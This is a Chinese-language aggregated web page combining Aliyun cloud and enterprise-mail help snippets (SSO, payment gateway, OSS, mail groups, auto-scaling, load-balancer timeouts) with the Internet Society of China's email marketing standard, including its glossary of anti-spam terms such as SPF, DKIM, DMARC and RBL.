公共应用主要包括单点登录、企业支付网关、CTI通讯网关（短信邮件微信），下面介绍单点登录和企业支付网关。

1、单点登录

应用拆分后总要合在一起，拆分是应用实施层面的拆分，合成是用户层面的合成，而合成必须解决认证和导航问题。单点登录SSO即只需要登录一次，便可到处访问，它是建立在用户系统、权限系统、认证系统和企业门户的基础上。

我们的凭证数据Token使用JWT标准，以解决不同语言、不同客户端、跨WebAPI的安全问题。

2、企业支付网关

企业支付网关集中和封装了公司的各大支付，例如支付宝、财付通、微信、预付款等。它统一了业务系统调用各支付接口的方式，简化了业务系统与支付系统的交互。它将各种支付接口统一为支付、代扣、分润、退款、退分润、补差、转账、冻结、解冻、预付款等，调用时只需选择支付类型即可。

企业支付网关将各大支付系统进行集中地设计、研发、部署、监控、维护，提供统一的加解密、序列化、日志记录和安全隔离。

进阶篇——从架构到管理

如何快速创建阿里云OSS存储空间

在使用OSS产品之前，建议您先了解存储空间、对象、地域、访问域名等基本概念，以便更好地理解OSS提供的功能。

关于OSS基本概念的含义，请您参见基本概念介绍。

OSS提供以下功能：

      阿里云对象存储服务（Object Storage Service，简称 OSS），是阿里云提供的海量、安全、低成本、高可靠的云存储服务。它具有与平台无关的RESTful API接口，能够提供99.999999999%（11个9）的数据可靠性和99.99%的服务可用性。您可以在任何应用、任何时间、任何地点存储和访问任意类型的数据。

您可以使用阿里云提供的API、SDK接口或者OSS迁移工具轻松地将海量数据移入或移出阿里云OSS。数据存储到阿里云OSS以后，您可以选择标准类型（Standard）的阿里云OSS服务作为移动应用、大型网站、图片分享或热点音视频的主要存储方式，也可以选择成本更低、存储期限更长的低频访问类型（Infrequent Access）和归档类型（Archive）的阿里云OSS服务作为不经常访问数据的备份和归档。

问题场景：

企业邮箱创建邮件组后，组成员的编辑过程和方法。

操作步骤：

1. 单击邮件组列表的 查看成员 按钮，进入组成员编辑界面。

2. 可分别通过单个账号、选择邮件组成员和导入邮件组成员，3个方法进行添加。

2.1 添加单个组成员。在 添加框 中，输入邮箱账号的关键字，选择匹配出的邮箱账号名称，单击 添加 按钮。

2.2 选择邮件组成员。单击 选择邮件组成员 的三角按钮，在 员工账号列表 中选择部门后面的 ＋ 号，对部门中的所有账号批量选择，单击 添加 。

2.3 导入邮件组成员。

单击添加框上方的 ？ 按钮，根据要求编辑好导入文件后，单击 导入邮件组成员 按钮，选择上传导入文件，单击 添加 即可。

3. 邮件组列表界面中，组名称一栏的数字如10/500，10即是当前的组成员账号数量。

https://mail.aliyun.com/邮箱属于免费个人云邮箱，免费个人云邮箱的问题建议通过登陆页面右上方的“服务中心”自助查询。

或者您也可以点击“云邮小助手”进行智能查询。

提示：

免费个人云邮箱问题目前不提供工单技术支持，请个人云邮箱用户移步以上链接页面进行问题反馈;

阿里云任何版本的企业邮箱服务禁止发送营销邮件，营销邮件标准及相关规范，参见中国互联网协会反垃圾信息中心的管理规范。

中国互联网协会电子邮件营销规范(V1.2)

来源：反垃圾信息中心

一、总则

1.1 为规范电子邮件形式的市场营销行为，统一电子邮件营销^[注1]的基本要求，为接收和发送营销内容的电子邮件提供依据，保护电子邮件用户的合法权益，根据我国相关法律法规的规定，制定本规范。

1.2 本规范适用于电子邮件营销活动的开展和评价。

1.3 本规范基于《互联网电子邮件服务管理办法》（中华人民共和国信息产业部令第38号）制定，从事电子邮件营销除应执行本规范外，还应符合《互联网电子邮件服务管理办法》及其他国家现行的有关标准的规定。

二、基本规定

2.1 中国互联网协会对电子邮件营销服务提供者^[注2]实行登记备案管理。电子邮件营销服务提供者应当在开展电子邮件营销活动前将电子邮件发送服务器所使用的IP地址^[注11]及相关信息向中国互联网协会反垃圾信息中心登记备案，并遵守以下规定：

2.1.1需报备的 IP 地址及相关信息

（1）备案单位基本情况，包括备案单位名称、备案单位地址、备案单位性质、备案单位组织机构代码、备案单位营业执照注册号、备案单位经营范围、备案单位注册资金、备案单位网站域名、备案单位法人代表姓名、备案单位联系人姓名、联系人电话、 联系人电子邮件、联系人即时通信方式等。

（2）备案单位电子邮件发送服务器IP地址分配使用信息，包括备案单位用于发送电子邮件的IP地址数量、IP地址、IP地址段、IP地址所属单位名称、IP地址对应域名、IP地址对应发送营销电子邮件^[注3]性质/类型（事务性邮件和商业性邮件等）；

（3）备案单位可自愿报备每次电子邮件营销活动的信息，包括本次营销活动使用IP地址、域名、发件人邮箱地址、电子邮件HELO^[注19]信息、收件人数量、发送周期、平均发送速率^[注10]、单IP最大发送速率、发送营销电子邮件性质/类型（事务性邮件和商业性邮件等）、营销电子邮件的原信/样信等。

（4）其他需要备案的信息。

2.1.2 电子邮件营销服务提供者拟变更电子邮件营销服务信息的，应当提前办理变更登记手续。

2.1.3 电子邮件营销服务提供者提交的备案信息必须完整、真实、有效且符合我国相关法律法规规定。

2.1.4 中国互联网协会反垃圾信息中心负责审核电子邮件营销服务提供者提交的备案资料，对符合要求的备案单位发放电子邮件营销备案资质证书。

2.2 电子邮件营销服务提供者应当确保所有与电子邮件服务有关的域名和IP地址注册信息正确、完整和及时更新，并遵守以下规定：

2.2.1 发送电子邮件的服务器IP地址必须使用静态IP^[注12]地址，并已采取IP反向解析^[注13]措施。

2.2.2 发送电子邮件的邮箱域名建议与发送电子邮件的服务器IP反向解析的域名信息一致，并已采取SPF解析^[注14]。

2.2.3 建议使用DKIM^[注15]、DMARC^[注16]等反垃圾邮件技术，提高与电子邮件发送相关的域名和IP的信誉。

2.2.4 关注知名的RBL^[注17]组织列表，如果发现与电子邮件发送相关的域名、IP或邮箱地址出现在知名的RBL^[注17]组织列表上，应及时采取措施进行申诉和解封。

2.2.5 建议发送事务性邮件和商业性邮件的服务器分配不同的IP地址和发送邮箱地址。

2.2.6 具有特殊功能的账户，如postmaster@账户（邮件管理员账户）或abuse@账户（投诉账户），必须保证其有效，并由专人负责管理维护。

2.3 电子邮件营销服务提供者应当建立可靠有效的订阅^[注5]及退订^[注9]机制，并遵守以下规定：

2.3.1未经电子邮件接收者明确许可，不得向其发送营销电子邮件。获取接收者许可的过程和内容应清楚、明确，且不违背我国的相关法律规定。电子邮件营销服务提供者应公布获取接收者许可的策略，保存接收者同意接收营销邮件的许可记录，以便在需要时向接收者提供相关信息。

2.3.2营销电子邮件必须提供给接收者至少包含一种退订的途径和具体操作方法，退订信息应醒目、清晰，退订操作方法应简单，有效。

2.3.3确保退订请求可以正常发送并能够被及时自动响应处理。不得强制要求用户提交退订原因或设置退订条件，退订请求发出后应在3个工作日内生效。

2.4 电子邮件营销服务提供者应规范的使用和维护其营销用户^[注4]的电子邮件地址列表^[注6]，并遵守以下规定：

2.4.1 电子邮件营销服务提供者对营销用户的个人信息和电子邮件地址负有保密的义务。未经用户同意，不得泄露用户的个人信息和电子邮件地址，法律、行政法规另有规定的除外。

2.4.2 电子邮件营销服务提供者应制定安全合理的隐私策略^[注8]。营销用户的个人信息资料和电子邮件地址的使用应与收集目的一致，未经用户同意，不得用于收集目的以外的其它用途。

2.4.3 必须保证每个电子邮件地址的取得都经过了用户的许可。尽量确保每个电子邮件地址都是真实有效的。

2.4.4 应合理处理邮件投递过程中接收电子邮件的服务器返回的错误代码^[注7]。对于返回代码表示不存在的电子邮件地址，应及时从发送列表中删除；对于连续出现投递错误的电子邮件地址，建议及时调整投递策略，减少可能导致错误发生的情况。

2.5 电子邮件营销服务提供者应使用规范的电子邮件格式与内容，并遵守以下规定：

2.5.1 营销电子邮件的内容不得违反我国相关法律法规规定。

2.5.2 营销电子邮件格式应符合国际通用规范标准（参见RFC 2822）。邮件中如果包含HTML格式，应遵循由万维网联盟（W3C）公布的w3.org^[注18]设计规范。

2.5.3 营销电子邮件应标明邮件发送方的身份和真实的可返回的邮件发送地址。邮件的标题和信体要能准确的反映出邮件的内容、真实来源和通信目的。邮件正文应包含发送方的名称、地址、联系电话和电子邮件地址等详细信息。

2.5.4 营销电子邮件的主题与内容必须相匹配。邮件内容应与营销用户的订阅内容一致。

2.5.5 应采取有效的措施保护未成年人，尽可能的识别未成年的邮件订阅者。营销电子邮件含有不适合未成年人阅读的内容时，应提前核实接收者的年龄，确保接收者达到合法接收和阅读的年龄。发送给未成年人的营销邮件应征得其监护人的许可，内容符合此年龄段人群的知识水准、阅历和心里成熟程度。

2.6 电子邮件营销服务提供者应与邮件接收方建立良好的沟通渠道，并参考以下规定：

2.6.1 中国互联网协会反垃圾信息中心负责协助电子邮件营销服务提供者与邮件接收组织之间的沟通协调，在邮件传送过程中出现问题时，及时有效的进行沟通，确保尽快使问题得到解决。

2.6.2 中国互联网协会反垃圾信息中心应协助电子邮件营销服务提供者与邮件接收组织之间建立信息反馈机制，改进电子邮件营销服务提供者的服务水平。

2.6.3 中国互联网协会反垃圾信息中心应对电子邮件营销活动进行监督，对电子邮件营销服务提供者的信誉进行评价。

2.6.4 电子邮件营销服务提供者应建立公平、高效、安全、易于使用的邮件投诉系统，在营销电子邮件中为营销用户提供便捷的投诉方式，受理营销用户对营销电子邮件的投诉。对被投诉的营销电子邮件，应立即开展调查，采取合理有效的防范或处理措施，并将有关情况和调查结果及时向各省通信管理局等国家有关机关或者12321网络不良和垃圾信息举报受理中心报告。

2.6.5 电子邮件营销服务提供者应按照邮件接收方的要求限制营销电子邮件的发送速率。邮件接收方应将未投递成功的电子邮件服务器错误信息反馈邮件发送方。对信誉良好，行为规范的电子邮件营销服务提供者，邮件接收方可适当放宽营销电子邮件的发送速率。

2.7 电子邮件营销服务提供者应积极配合各省通信管理局等国家有关机关和12321网络不良和垃圾信息举报受理中心开展调查工作。

2.8 中国互联网协会拥有本规范的解释权和修改权。

2.9 本规范自发布之日起施行。

附注:

1. 电子邮件营销：指通过电子邮件开展的营销活动。

2. 电子邮件营销服务提供者：也是营销电子邮件的发送方，指提供电子邮件营销服务的单位或个人，包括直接开展电子邮件营销活动的单位或个人以及接受委托开展电子邮件营销活动的单位或个人。

3. 营销电子邮件：指具有营销功能的电子邮件。根据电子邮件的发送目的，分为事务性邮件和商业性邮件两种类型。

3.1 事务性邮件，是指由收件人触发并已允许发件人发送的，以推动、完成或确认相关联流程为主要目的而发送的电子邮件。常见分类包括：

（1）账号相关：账号激活、信息验证、账号绑定、密码修改、密码取回等。

（2）交易信息：订单通知、付款通知、退款通知、物流通知、交易投诉等。

（3）账单信息：对帐单、流水账单、催款通知、账户变更等。

（4）其他类型。

3.2 商业性邮件，是指任何以推销或者推广某种商品或服务（包括商业性网站的内容）为主要目的而发送的电子邮件。常见分类包括：

（1）期刊资讯：更新通知、各类期刊、各类报表等。

（2）产品促销：新品推广、季末促销、优惠套餐、折扣优惠、积分优惠等。

（3）成员营销：好友邀请、成员关怀、主题活动、用户调研等。

（4）其他类型。

3.3 事务性邮件如果附带商业性内容，则视为商业性邮件。

4. 营销用户：指电子邮件营销活动的对象，即接收营销电子邮件的电子邮箱使用者。

5. 订阅：指营销用户预先订制，同意接收订制的营销电子邮件的行为。

6. 邮件列表：指已经订阅了某一类营销电子邮件的用户电子邮箱地址列表，该列表是此类营销电子邮件的发送对象。

7. 错误代码/硬退回/软退回：指在邮件的SMTP发送过程中，收信方服务器每处理完一条SMTP命令，都会向发信方服务器回传一个返回信息，用于表明对这条SMTP命令的执行结果。

如返回信息以4XX（如450等）开头，指接收方临时性拒收该邮件，称软退回；

如返回信息以5XX（如550等）开头，指接收方永久性拒收该邮件，称硬退回。

以上列举的两类代码，习惯称为错误代码。

8. 隐私策略：指电子邮件营销活动所收集的营销用户信息类型，收集方式和收集技术，以及信息的提供对象和使用用途。隐私策略中还应包括用户信息保护的安全措施、责任和实施过程。

9. 退订：指营销用户取消订阅营销电子邮件的行为。

10. 发送速率：指单位时间内的发送电子邮件的总数量。
常见的时间间隔单位包括：分钟、15分钟、小时、天、周、月等。

11. IP地址/IP段

IP地址是被用于定位互联网上的电脑一个唯一编号，地址的格式如159.226.1.1。多个IP地址的组合，即称为IP段。

邮件发送过程中会?谰軮P地址，来确定邮件发送者和邮件接收者的位置。

12. 静态IP地址

指长期固定分配给一台计算机使用的IP地址，一般是由网络运营商分配。

13. IP反向解析

IP反向解析是一项常用的反垃圾邮件技术。常用的DNS服务器里面有两个区域，即“正向查找区域”和“反向查找区域”。正向查找区域是指域名解析，反向查找区域即是IP反向解析，简称PTR记录，其作用是通过查询IP地址的PTR记录来得到该IP地址指向的域名。

PTR记录需要由提供IP地址的网络运营商（ISP）进行配置。

14. SPF

SPF（Sender Policy Framework）是一种通过IP地址来认证电子邮件发件人身份的技术，是一项非常高效的反垃圾邮件技术。它通过在DNS中发布一条TXT类型的记录，用于登记某个域名所有拥有的合法的发送邮件的所有IP地址。

15. DKIM

DKIM（DomainKeys Identified Mail）是一种防诈骗邮件的反垃圾邮件技术。DKIM要求邮件发送方在电子邮件的信头插入DKIM-Signature及电子签名信息，而邮件接收方则通过DNS查询得到其公钥然后进行合法性验证。

16. DMARC

DMARC（Domain-based Message Authentication, Reporting and Conformance）是一种防诈骗邮件的反垃圾邮件技术。DMARC结合SPF和DKIM两项技术，通过检查电子邮件信头的发件人的合法性，将诈骗邮件识别出来。

17. RBL

RBL（Real-time Blackhole List），即实时黑名单列表，是一些由国际知名的反垃圾邮件组织所提供的恶意发送垃圾邮件的发件人邮箱地址，IP地址，URL地址等黑名单列表的服务。若已被RBL收录，需到相应RBL官方网站上去核实并申请移除。

常见的知名RBL组织，如中国互联网协会反垃圾信息中心、spamhaus，Maps，sorbs，uribl，surbl等。

18. w3.org规范

由万维网联盟(W3C)共同开发与公布的各种web设计规范。当邮件正文以网页的形式组织时，应当参考这些规范。

19．HELO

电子邮件头中邮件发送者用来标识自己的身份的命令字段。

附录:

电子邮件营销常用指标

1. 发送量

发送的营销电子邮件数量

2. 到达量

发送的营销电子邮件数量-退回的营销电子邮件数量

3. 到达率

到达接收方邮箱的营销电子邮件数量/发送的营销电子邮件数量×100%

4. 退信率

退回的营销电子邮件数量/发送的营销电子邮件数量×100%

5. 硬退信率

硬退回的营销电子邮件数量/发送的营销电子邮件数量×100%

6. 软退信率

软退回的营销电子邮件数量/发送的营销电子邮件数量×100%

7. 打开率

打开营销电子邮件的接收方数量/收到营销电子邮件的接收方数量×100%，不计算重复打开邮件的情况。

8. 点击率

点击了营销电子邮件内容中链接的接收方数量/收到营销电子邮件的接收方数量×100%，不计算重复点击的情况。

9. 点击打开率

点击了营销电子邮件内容中链接的接收方数量/打开营销电子邮件的接收方数量×100%，不计算重复点击和重复打开的情况。

10. 退订率

退订营销电子邮件的接收方数量/收到营销电子邮件的接收方数量×100%

11. 投诉率

被投诉的营销电子邮件数量/到达接收方邮箱的营销电子邮件数量×100%

12. 信誉度

邮件接收方或者第三方机构对营销电子邮件服务信誉和质量的评定结果

参考

中华人民共和国信息产业部令第38号 互联网电子邮件服务管理办法

中国互联网协会 电子邮件服务指南（V1.1）

中国互联网协会 中国互联网协会互联网公共电子邮件服务规范

YD-T 1310-2004 互联网广告电子邮件格式要求

YD-T 1311-2004 防范互联网垃圾电子邮件技术要求

职位描述

阿里云企业邮箱简介介绍

1. 登录 弹性伸缩管理控制台 。
2. 找到伸缩组，在 操作 列下单击 管理。
   
   
   
3. 前往 伸缩规则 页面，单击 创建伸缩规则，可以按照需求选择 减少 或者 调整至 指定数量的 ECS实例。
   
   
   
4. 返回 弹性伸缩管理控制台 主菜单，选择 自动触发任务管理 > 报警任务，单击 创建报警任务， 统计办法 选择 ≤ 或者 < 某个阈值来删除之前通过弹性伸缩创建的且目前不再需要的实例。
   
   
   
   

如果您还有问题，请随时联系米姆，我们将免费为您提供阿里云基础服务。

问题原因

负载均衡的 HTTP 监听超时时间是保证请求在允许的时间内能返回的最后一条防线。

负载均衡响应 HTTP 转发请求时时，如果负载均衡实例上配置了多台 ECS 实例，若第一台 ECS 实例访问超时，则自动轮询第二台 ECS 实例，若第二台 ECS 实例仍超时，则轮询第三台 ECS 实例，直到所有的 ECS 实例轮询完毕。假设一台负载均衡实例上配置了 3 台 ECS 实例，那么实际发生的 HTTP 请求超时时间会变成大约 180 秒。

为什么负载均衡的 7 层 HTTP 监听超时超过 60 秒-阿里云-上云就上阿里云

问题原因

负载均衡的 HTTP 监听超时时间是保证请求在允许的时间内能返回的最后一条防线。

负载均衡响应 HTTP 转发请求时时，如果负载均衡实例上配置了多台 ECS 实例，若第一台 ECS 实例访问超时，则自动轮询第二台 ECS 实例，若第二台 ECS 实例仍超时，则轮询第三台 ECS 实例，直到所有的 ECS 实例轮询完毕。假设一台负载均衡实例上配置了 3 台 ECS 实例，那么实际发生的 HTTP 请求超时时间会变成大约 180 秒。

如果您还有问题，请随时联系米姆，我们将免费为您提供阿里云基础服务。

1. 登录阿里云官网，选择 弹性伸缩控制台 > 伸缩组管理，打开相应的伸缩组，单击 伸缩配置 > 创建伸缩配置。
2. 在伸缩配置中，单击增加 数据盘，并设置数据盘的空间大小。如果需要用快照创建数据盘，可以单击 用快照创建磁盘，选择相应的快照。
   

如果遇到任何问题，请及时联系米姆，我们将免费为您提供阿里云基础服务

云吞铺子之Windows系统的排查思路-阿里云-上云就上阿里云

此次的云吞铺子视频更不简单了，我们依然请来了阿里云的技术高手江冉同学。江冉同学结合案例逐一分析如何排查 Windows 实例故障，通过用户沟通、问题定位以及日志分析几个步骤深度剖析排查思路。

云吞铺子之如何衡量Windows实例的磁盘性能-阿里云-上云就上阿里云

此次的云吞铺子视频不简单了，我们请来了阿里云的技术高手江冉同学，特地给小伙伴们讲讲如何衡量 Windows 实例的磁盘性能。

安全组是一种虚拟防火墙，控制云服务器 ECS 的出站和入站流量。

此次的云吞铺子视频将带您了解如何配置安全组。

小助手系列之如何使用迁云工具-阿里云-上云就上阿里云

本次视频介绍如何使用 迁云工具 将您的业务转移到阿里云。借助阿里云的云计算实力，您可以轻松应对业务增长所需要考虑的基础建设。

请跟随小助手，一起去看看如何使用迁云工具吧。

小助手系列之如何远程连接 Windows 实例-阿里云-上云就上阿里云

本次视频介绍如何远程连接并登录 Windows 实例。远程连接登录 Windows 实例的方式多种多样，比如通过：

• 管理终端（排查故障的万能工具）
• 用户名和密码（使用率最高的登录方式）
• 还有轻巧灵便的手机客户端

请跟着小助手，一起去看看如何在 Windows 系统自带的远程桌面工具（MSTSC）里使用用户名和密码远程连接 Windows 实例吧！

本视频介绍如何远程连接并登录 Linux 实例。远程连接登录 Linux 实例的方式多种多样，比如通过：

• 管理终端（排查故障的万能工具）
• 用户名和密码（使用率最高的登录方式）
• SSH 密钥对验证（黑客最难攻破的登录方式）
• 还有轻巧灵便的手机客户端
  

请跟随视频小助手，一起去看看如何在 PuTTY 里使用用户名和密码远程连接 Linux 实例吧！

ECS 经典网络与专有网络 VPC 特点介绍-阿里云-上云就上阿里云